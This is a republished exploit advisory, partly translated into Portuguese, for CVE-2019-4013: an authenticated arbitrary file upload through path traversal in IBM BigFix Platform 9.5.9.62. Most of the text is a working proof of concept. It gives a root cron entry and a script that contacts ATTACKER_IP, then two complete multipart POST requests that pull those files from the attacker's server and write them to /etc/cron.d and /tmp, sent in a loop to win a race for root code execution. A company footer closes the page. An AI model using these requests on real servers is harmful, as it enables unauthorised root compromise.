fbpx

IBM Bigfix Platform 9.5.9.62 – Arbitrary File Upload

IBM Bigfix Platform 9.5.9.62 – Arbitrary File Upload

 

# Exploit Title: IBM Bigfix Platform 9.5.9.62 – Upload de arquivo arbitrário
# Data: 2018-12-11
# Exploit Autores: Jakub Palaczynski
# Página inicial do fornecedor: https://www.ibm.com/
# Versão: IBM Bigfix Platform <= 9.5.9.62
# CVE: CVE-2019-4013

Descrição:
============

Qualquer usuário autenticado (mesmo sem privilégios) pode fazer upload de qualquer arquivo para qualquer local no servidor com privilégios de root. Isso resulta na execução do código no sistema subjacente com privilégios de root.

O que causou esse problema:
* caminho atravessado – é possível escapar do diretório original e enviar o arquivo para qualquer outro local
* servidor rodando com privilégios de root – o usuário pode fazer upload de arquivo para QUALQUER local no sistema
* faça upload de qualquer tipo de arquivo – o aplicativo não verifica a extensão e o tipo MIME dos arquivos enviados
* desvio de autorização (relatado como problema separado) – qualquer usuário pode revelar funcionalidades privilegiadas e acessá-las sem os direitos adequados definidos
* possibilidade de ganhar a corrida – o aplicativo faz o upload do arquivo para o local especificado no parâmetro “urlFileName” (passagem do caminho); no entanto, ele o move para outro. Um invasor precisa vencer a corrida e executar o script antes de ser movido.

Foi encontrado um problema no menu “Aplicativos> Software> Adicionar software”. Aqui, o usuário precisa escolher a opção de upload via URL, pois apenas este é vulnerável.
O URL precisa apontar para o servidor da web do invasor, onde ele hospeda, por exemplo, arquivos de script.
Quando o formulário é enviado, podemos ver o parâmetro “urlFileName” do proxy. Este é vulnerável ao percurso do caminho. Este parâmetro especifica o nome do arquivo temporário que será usado no sistema. O aplicativo move esse arquivo para outro local que não é controlado pelo usuário do aplicativo.

Um invasor pode, por exemplo, fazer upload de arquivo de script no servidor da Web e executá-lo enviando uma solicitação GET. No entanto, como um PoC, usaremos o cron. Aqui nós carregamos 2 arquivos – arquivo cron e arquivo de script que serão executados pelo cron.
O upload da tarefa cron e do arquivo de script é o mesmo que abaixo, mas é claro, com conteúdo diferente baixado do servidor da web. Essas duas solicitações HTTP devem ser enviadas em loop para finalmente ganhar uma corrida e executar nosso script.

Prova de conceito:
=================

cron.txt servido no servidor da web do invasor:

* * * * * root bash /tmp/icmp.sh

icmp.txt served on attacker's web server:
#!/bin/bash
ping -c 3 ATTACKER_IP


Uploading cron task:
POST /swd/api/packages/upload HTTP/1.1

Host: XXX

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36

Content-Length: 846

Content-Type: multipart/form-data; boundary=---------------------------7289782871626994727576601809

X-XSRF-TOKEN: XXX

Cookie: _csrf=XXX; XSRF-TOKEN=XXX; user_session=XXX

Connection: close



-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="fileURL"



http://ATTACKER_IP/cron.txt

-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="username"





-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="password"





-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="urlFileName"



../../../../../../../../etc/cron.d/task

-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="urlDownloadAtRuntime"



false

-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="uploadId"



user_1543410578364620

-----------------------------7289782871626994727576601809--


Uploading script file:
POST /swd/api/packages/upload HTTP/1.1

Host: XXX

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36

Content-Length: 846

Content-Type: multipart/form-data; boundary=---------------------------7289782871626994727576601809

X-XSRF-TOKEN: XXX

Cookie: _csrf=XXX; XSRF-TOKEN=XXX; user_session=XXX

Connection: close



-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="fileURL"



http://ATTACKER_IP/icmp.txt

-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="username"





-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="password"





-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="urlFileName"



../../../../../../../../tmp/icmp.sh

-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="urlDownloadAtRuntime"



false

-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="uploadId"



user_1543410578364620

-----------------------------7289782871626994727576601809--


After a while our script should be executed with root privileges.
            
11 de novembro de 2019

Sobre nós

A Linux Force Brasil é uma empresa que ama a arte de ensinar. Nossa missão é criar talentos para a área de tecnologia e atender com excelência nossos clientes.

CNPJ: 13.299.207/0001-50
SAC:         0800 721 7901

[email protected]

Comercial  Comercial: (11) 3796-5900

Suporte:    (11) 3796-5900
[email protected]

Copyright © Linux Force Security  - Desde 2011.